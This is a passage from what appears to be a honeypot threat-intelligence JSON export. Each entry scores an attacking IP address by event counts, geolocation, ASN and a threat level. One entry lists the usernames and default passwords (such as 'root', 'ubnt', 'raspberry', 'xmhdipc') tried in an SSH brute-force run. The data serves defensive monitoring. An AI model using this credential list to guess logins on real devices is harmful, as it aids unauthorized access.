      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "175.10.87.202": {
      "attack_count": 2,
      "first_seen": "2026-05-22T17:31:54.728Z",
      "last_seen": "2026-05-22T17:32:27.919Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T17:31:54.728000+00:00",
        "last_seen_30d": "2026-05-22T17:33:37.210000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "180.116.147.100": {
      "attack_count": 2,
      "first_seen": "2026-05-23T10:32:15.102Z",
      "last_seen": "2026-05-23T10:32:52.646Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T10:32:15.102000+00:00",
        "last_seen_30d": "2026-05-23T10:34:01.041000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "185.254.161.69": {
      "attack_count": 2,
      "first_seen": "2026-05-15T03:38:37.914Z",
      "last_seen": "2026-05-15T03:38:50.855Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Moral de Calatrava",
      "asn": 203835,
      "as_org": "Sambatel Consulting SL",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T03:38:37.914000+00:00",
        "last_seen_30d": "2026-05-15T03:39:54.065000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "189.51.222.116": {
      "attack_count": 2,
      "first_seen": "2026-05-20T17:34:17.970Z",
      "last_seen": "2026-05-20T17:34:32.151Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Tatu\u00ed",
      "asn": 28580,
      "as_org": "Cilnet Comunicacao e Informatica S.A.",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T17:34:17.970000+00:00",
        "last_seen_30d": "2026-05-20T17:35:32.905000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "196.191.50.173": {
      "attack_count": 2,
      "first_seen": "2026-05-17T05:10:12.216Z",
      "last_seen": "2026-05-17T05:10:25.459Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ethiopia",
      "country_code": "ET",
      "city": "Addis Ababa",
      "asn": 24757,
      "as_org": "Ethiopian Telecommunication Corporation",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T05:10:12.216000+00:00",
        "last_seen_30d": "2026-05-17T05:11:33.801000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "197.1.185.86": {
      "attack_count": 2,
      "first_seen": "2026-05-02T20:22:25.162Z",
      "last_seen": "2026-05-02T20:22:39.373Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tunisia",
      "country_code": "TN",
      "city": "Nabeul",
      "asn": 37705,
      "as_org": "TOPNET",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T20:22:25.162000+00:00",
        "last_seen_30d": "2026-05-02T20:23:49.014000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "205.210.31.209": {
      "attack_count": 2,
      "first_seen": "2026-05-13T18:43:18.040Z",
      "last_seen": "2026-05-13T18:43:18.353Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 75.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.9,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 61,
        "days_active_30d": 27,
        "ports_targeted_30d": 16,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T05:39:28.499000+00:00",
        "last_seen_30d": "2026-05-29T16:25:46.368000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 46,
        "Honeytrap": 10,
        "Dionaea": 3,
        "Cowrie": 2
      }
    },
    "211.186.209.97": {
      "attack_count": 2,
      "first_seen": "2026-05-15T07:38:10.201Z",
      "last_seen": "2026-05-15T07:38:22.408Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Daegu",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T07:38:10.201000+00:00",
        "last_seen_30d": "2026-05-15T07:39:26.616000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "213.109.49.80": {
      "attack_count": 2,
      "first_seen": "2026-05-09T14:51:26.140Z",
      "last_seen": "2026-05-09T14:51:38.320Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Yekaterinburg",
      "asn": 48642,
      "as_org": "Joint stock company For",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T14:51:26.140000+00:00",
        "last_seen_30d": "2026-05-09T14:52:46.411000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.31.110.217": {
      "attack_count": 2,
      "first_seen": "2026-05-23T01:25:18.758Z",
      "last_seen": "2026-05-23T01:25:31.933Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T01:25:18.758000+00:00",
        "last_seen_30d": "2026-05-23T13:51:38.590000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "38.196.73.67": {
      "attack_count": 2,
      "first_seen": "2026-05-05T18:22:54.180Z",
      "last_seen": "2026-05-05T18:23:06.804Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Maracaibo",
      "asn": 271951,
      "as_org": "4 EVER PLUG,C.A.",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T18:22:54.180000+00:00",
        "last_seen_30d": "2026-05-05T18:24:14.018000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.248.173.130": {
      "attack_count": 2,
      "first_seen": "2026-05-07T14:50:16.481Z",
      "last_seen": "2026-05-07T14:50:28.848Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Barquisimeto",
      "asn": 272809,
      "as_org": "THUNDERNET, C.A.",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T14:50:16.481000+00:00",
        "last_seen_30d": "2026-05-07T14:51:31.019000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.252.170.10": {
      "attack_count": 2,
      "first_seen": "2026-05-29T19:24:59.571Z",
      "last_seen": "2026-05-29T19:25:12.891Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Eureka",
      "asn": 1378,
      "as_org": "Interbel Telephone Cooperative, Inc.",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T19:24:59.571000+00:00",
        "last_seen_30d": "2026-05-29T19:26:22.420000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.7.190.108": {
      "attack_count": 2,
      "first_seen": "2026-05-17T06:49:11.031Z",
      "last_seen": "2026-05-17T06:51:11.036Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Ajuricaba",
      "asn": 266595,
      "as_org": "NOVA CONEXAO INTERNET LTDA",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T06:49:11.031000+00:00",
        "last_seen_30d": "2026-05-17T06:52:19.346000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "45.86.144.147": {
      "attack_count": 2,
      "first_seen": "2026-05-04T16:53:00.723Z",
      "last_seen": "2026-05-04T16:53:31.215Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": null,
      "asn": 64445,
      "as_org": "NetJoin srl",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T16:53:00.723000+00:00",
        "last_seen_30d": "2026-05-04T16:54:40.069000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "47.93.81.231": {
      "attack_count": 2,
      "first_seen": "2026-05-29T05:58:33.127Z",
      "last_seen": "2026-05-29T05:58:33.127Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T05:58:33.127000+00:00",
        "last_seen_30d": "2026-05-29T05:59:34.890000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "51.39.229.46": {
      "attack_count": 2,
      "first_seen": "2026-05-08T16:12:20.903Z",
      "last_seen": "2026-05-08T16:12:34.622Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Riyadh",
      "asn": 43766,
      "as_org": "Mobile Telecommunication Company Saudi Arabia Joint-Stock company",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T16:12:20.903000+00:00",
        "last_seen_30d": "2026-05-08T16:13:35.318000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "70.61.94.82": {
      "attack_count": 2,
      "first_seen": "2026-05-09T06:54:51.765Z",
      "last_seen": "2026-05-09T06:55:05.293Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbia",
      "asn": 11426,
      "as_org": "Charter Communications Inc",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T06:54:51.765000+00:00",
        "last_seen_30d": "2026-05-09T06:56:08.235000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "74.133.84.55": {
      "attack_count": 2,
      "first_seen": "2026-05-14T08:31:40.539Z",
      "last_seen": "2026-05-14T08:33:40.549Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Westerville",
      "asn": 10796,
      "as_org": "Charter Communications Inc",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T08:31:40.539000+00:00",
        "last_seen_30d": "2026-05-14T12:26:21.869000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Cowrie": 2
      }
    },
    "76.167.221.234": {
      "attack_count": 2,
      "first_seen": "2026-05-13T03:26:37.386Z",
      "last_seen": "2026-05-13T03:28:37.388Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Diego",
      "asn": 20001,
      "as_org": "Charter Communications Inc",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T03:26:37.386000+00:00",
        "last_seen_30d": "2026-05-13T03:39:22.556000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "78.177.162.11": {
      "attack_count": 2,
      "first_seen": "2026-05-03T11:55:32.298Z",
      "last_seen": "2026-05-03T11:55:45.565Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Istanbul",
      "asn": 9121,
      "as_org": "Turk Telekom",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T11:55:32.298000+00:00",
        "last_seen_30d": "2026-05-03T11:56:50.920000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "84.54.70.1": {
      "attack_count": 2,
      "first_seen": "2026-05-02T15:15:13.020Z",
      "last_seen": "2026-05-02T15:15:25.777Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 8193,
      "as_org": "Uzbektelekom Joint Stock Company",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T15:15:13.020000+00:00",
        "last_seen_30d": "2026-05-02T15:16:35.390000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.231.89.183": {
      "attack_count": 2,
      "first_seen": "2026-05-16T12:28:12.208Z",
      "last_seen": "2026-05-16T12:28:12.741Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 63.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.1,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 82,
        "days_active_30d": 23,
        "ports_targeted_30d": 33,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-05T03:42:52+00:00",
        "last_seen_30d": "2026-05-27T15:47:16.177000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 47,
        "Honeytrap": 33,
        "Cowrie": 2
      }
    },
    "91.80.129.158": {
      "attack_count": 2,
      "first_seen": "2026-05-28T20:36:20.184Z",
      "last_seen": "2026-05-28T20:36:34.014Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "San Giustino Valdarno",
      "asn": 30722,
      "as_org": "Fastweb",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T20:36:20.184000+00:00",
        "last_seen_30d": "2026-05-28T20:37:42.305000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "94.156.141.176": {
      "attack_count": 2,
      "first_seen": "2026-05-30T07:49:08.961Z",
      "last_seen": "2026-05-30T07:49:41.677Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 29244,
      "as_org": "CETIN Bulgaria EAD",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T07:49:08.961000+00:00",
        "last_seen_30d": "2026-05-30T07:50:48.302000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "94.9.89.136": {
      "attack_count": 2,
      "first_seen": "2026-05-24T20:19:28.171Z",
      "last_seen": "2026-05-24T20:21:28.209Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Oldham",
      "asn": 5607,
      "as_org": "Sky UK Limited",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T20:19:28.171000+00:00",
        "last_seen_30d": "2026-05-24T20:32:24.661000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "178.20.210.186": {
      "attack_count": 676,
      "first_seen": "2026-05-10T14:05:14.193Z",
      "last_seen": "2026-05-25T08:51:24.220Z",
      "sessions": 132,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "ubnt",
        "user",
        "ftpuser",
        "irc",
        "operator",
        "pi",
        "redmine",
        "support",
        "username",
        "1234",
        "2020",
        "2022",
        "Admin",
        "Operator",
        "adam",
        "administrator",
        "alain",
        "annet"
      ],
      "passwords_attempted": [
        "0p3nm35h",
        "1234",
        "admin",
        "raspberry",
        "123456",
        "1qaz3edc",
        "admin123",
        "irc",
        "password",
        "redmine",
        "ubnt",
        "xmhdipc",
        "!@#123qwe",
        "!QAZ2wsx#EDC",
        "00000",
        "001",
        "0l0ctyQh243O63uD",
        "111111",
        "112",
        "112358"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 210006,
      "as_org": "Shereverov Marat Ahmedovich",
      "threat_score": 45.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 13.3,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 1072,
        "days_active_30d": 16,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T14:05:14.193000+00:00",
        "last_seen_30d": "2026-05-25T08:52:25+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 676,
        "Suricata": 396
      }
    },
    "173.249.31.240": {
      "attack_count": 588,
      "first_seen": "2026-05-02T00:35:20.460Z",
      "last_seen": "2026-05-02T00:39:56.242Z",
      "sessions": 294,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 4.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 29.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 882,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T00:35:20.460000+00:00",
